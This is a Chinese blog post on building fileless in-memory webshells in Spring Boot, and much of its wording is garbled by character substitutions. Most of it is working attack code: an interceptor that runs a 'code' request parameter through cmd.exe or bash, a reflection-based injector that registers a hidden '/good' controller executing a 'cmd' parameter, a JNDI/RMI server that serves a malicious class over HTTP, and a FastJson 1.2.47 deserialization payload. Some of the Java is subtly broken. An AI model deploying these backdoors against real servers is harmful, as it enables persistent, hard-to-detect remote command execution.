0x01 前言
在上一篇文章中深入浅出内存马(一),我介绍了基于 Tomcat 的 Filter 内存马,不光是 Filter 还有 listener、servlet、controller 等不同模式的内存马。现在企业开发过程中,大部分应用的都是 spring 系列的框架进行开发,特地是 SpringBoot,当初根本是企业开发的标配。所以探讨 Spring 系列下的内存马就显得十分必要了。
明天咱们就来钻研钻研 Spring Boot 下的内存马实现。
0x02 需要
随着微服务部署技术的迭代演进,大型业务零碎在达到真正的应用服务器的时候,会通过一些系列的网关,简单平衡,防火墙。所以如果你新建的 shell 路由不在这些网关的白名单中,那么就很有可能无法访问到,在达到应用服务器之前就会被抛弃,咱们该如何解决这个问题?
所以,在注入内存马的时候,就尽量不要用新建的路由,或者 shell 地址。最好是在拜访失常的业务地址之前,就能执行咱们的代码。
依据这个文章外面的说法基于内存 Webshell 的无文件攻打技术钻研
在通过一番文档查阅和源码浏览后,发现可能有不止一种办法能够达到以上成果。其中通用的技术点次要有以下几个:
在不应用注解和批改配置文件的状况下,应用纯 java 代码来取得以后代码运行时的上下文环境;
在不应用注解和批改配置文件的状况下,应用纯 java 代码在上下文环境中手动注册一个 controller;
controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的成果;
0x03 SpringBoot 的生命周期
为了满足下面的需要,咱们须要理解 SpringBoot 的生命周期,咱们须要钻研的是:一个申请到到应用层之前,须要通过那几个局部?是如何一步一步到到咱们的 Controller 的?
咱们用 IDEA 来搭建一个 SpingBoot2 的环境
拜访地址:
咱们还是把断点打在
org.apache.catalina.core.ApplicationFilterChain
中的 internalDoFilter
办法中
能够看到整个执行流程
这部分在上一篇文章中曾经详细描述过,这里不在赘述。
然而这里不同的是在通过 Filter 层面解决后,就会进入相熟的 spring-webmvc 组件
org.springframework.web.servlet.DispatcherServlet
类的 doDispatch 办法中。
跟进去这个办法
能够看到是遍历 this.handlerMappings
这个迭代器中的mapper
的getHandler
办法解决 Http 中的 request 申请。
持续追踪,最终会调用到
org.springframework.web.servlet.handler.AbstractHandlerMapping
类的 getHandler
办法,并通过
getHandlerExecutionChain(handler, request)
办法返回 HandlerExecutionChain
类的实例。
持续跟进getHandlerExecutionChain
办法,
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
Iterator var4 = this.adaptedInterceptors.iterator();
while(var4.hasNext()) {HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
if (interceptor instanceof MappedInterceptor) {MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {chain.addInterceptor(interceptor);
}
}
// 返回的是 HandlerExecutonChain,这里蕴含了所有的拦截器
return chain;
}
好了,当初咱们晓得程序在哪里退出的拦截器 (interceptor) 后,追踪到这行代码
if (!mappedHandler.applyPreHandle(processedRequest, response)) {return;}
跟进之后发现 interceptor.preHandle(request, response, this.handler) 会遍历拦截器,并执行其 preHandle 办法。
如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,肯定水平上也起到了 “ 拦挡 ” 的成果。
那么总结一下,一个 request 发送到 spring 利用,大略会通过以下几个层面才会达到解决业务逻辑的 Controller 层:
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
0x04 拦截器 Interceptor 的实践摸索
用 Interceptor 来拦挡所有进入 Controller 的 http 申请实践上是可行的,接下来就是实现从代码层面动静注入一个 Interceptor 来达到 webshell 的成果。
能够通过继承 HandlerInterceptorAdapter 类或者 HandlerInterceptor 类并重写其 preHandle 办法实现拦挡。preHandle 是申请执行前执行,preHandle 办法中写一些拦挡的解决,比方上面,当申请参数中带 id 时进行拦挡,并写入字符串 InterceptorTest OK! 到 response。
0x0401 模仿实在业务
实在业务,这里模仿一个登录场景,登录胜利返回 login success。
package com.evalshell.springboot.web;
import com.evalshell.springboot.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
@Controller
@RequestMapping(value = "/user")
public class UserCrotroller {@RequestMapping(value = "/login")
public @ResponseBody Object login(HttpServletRequest request){
// 简略模仿登录胜利
// 实体类 User 我就不赘述了,就是有 2 个属性。并实现 getter 和 setter 结构器办法
User user = new User();
user.setAge(18);
user.setName("jack");
request.getSession().setAttribute("user", user);
return "login success";
}
}
0x0402 编写自定义的 Interceptor
package com.evalshell.springboot.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class VulInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String code = request.getParameter("code");
if(code != null){
try {java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{System.out.println(code);
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String result = r.readLine();
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();}catch (Exception e){ }
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
0x0403 注册拦截器
实现拦截器后还须要将拦截器注册到 spring 容器中,能够通过 implements WebMvcConfigurer,笼罩其 addInterceptors(InterceptorRegistry registry)办法
package com.evalshell.springboot.config;
import com.evalshell.springboot.interceptor.VulInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
// 这里是配置须要拦挡的路由
String[] VulPathPatterns = {"/user/login"};
registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
}
}
能够看到达到的成果是拜访失常路由,不会影响失常业务。如果是带有 code 的参数会执行 code 外面的代码,从而冲破网关的限度。
那么咱们当初曾经明确了如何在 springboot 中进行拦挡,并执行咱们的内存马,然而还是有一个问题,如何注入咱们的内存马?
在这里依据 landgrey 大佬的思路:
spring boot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中增加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象。bean 实例名字是 requestMappingHandlerMapping 或者比拟老版本的 DefaultAnnotationHandlerMapping。那么获取 adaptedInterceptors 属性值就比较简单了:
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
我总结下就是:
- 首先获取利用的上下文环境,也就是 ApplicationContext
- 而后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
- 反射获取 AbstractHandlerMapping 类的 adaptedInterceptors 字段
- 通过 adaptedInterceptors 注册拦截器
0x05 实战
为了不便搭建环境,咱们采纳 FastJson 1.2.47 的 RCE 来发明反序列化破绽利用点,咱们在 pom.xml 中配置好咱们的依赖,
<dependencies>
<!-- 配置 fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<!-- 配置 springboot2,小编应用的是 2.5.3 的版本 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
手动创立一个 FastJson 的利用点,因为在 JDK 18u191, 11.0.1 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false,为了演示,我这里是用了 JDK 18u102。
@Controller
public class VulController {@RequestMapping(value = "/unserializer")
@ResponseBody
public String unserializer(@RequestParam String code){JSON.parse(code);
return "unserializer";
}
}
创立 RMI 服务器
package com.evalshell.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("TouchFile",
"com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
创立恶意代码
package com.evalshell.server;
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {Runtime rt = Runtime.getRuntime();
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();} catch (Exception e) {// do nothing}
}
}
启动 JNDIServer,端口启动在了 1099
在 TouchFile 的编译后的类门路下,开启 web 服务,提供歹意类文件的 http 下载服务,这个端口必须和下面的 JNDIServer 中配置的统一。
咱们应用 FastJson 的 Payload 进行攻打
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
"autoCommit":true
}
}
用 postman 申请,攻打胜利的话,就会弹出计算器,示意能够执行任意命令。
好的,上述曾经搭建起一个 Fastjson 的破绽环境。
应用上述办法编写拦截器内存马:
package com.evalshell.server;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Evil {public Evil() throws Exception{
// 对于获取 Context 的形式有多种
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射取得该类的 test 办法
Method method2 = Evil.class.getMethod("test");
// 定义该 controller 的 path
PatternsRequestCondition url = new PatternsRequestCondition("/good");
// 定义容许拜访的 HTTP 办法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 结构注册信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创立用于解决申请的对象,防止有限循环应用另一个构造方法
Evil injectToController = new Evil("aaa");
// 将该 controller 注册到 Spring 容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
private Evil(String aaa) { }
public void test() throws IOException {
// 获取申请
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
// 获取申请的参数 cmd 并执行
// 相似于 PHP 的 system($_GET["cmd"])
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
同时批改 JNDIServer 类中的代码
将
Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/");
替换成
Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");
最初演示一下,应用 fastjson RCE 进行攻打并动静写入咱们的内存马
至此,咱们曾经实现 SpringBoot 下的无文件内存马的实现!
0x06 参考
https://landgrey.me/blog/19/
https://www.anquanke.com/post…
https://evalshell.com/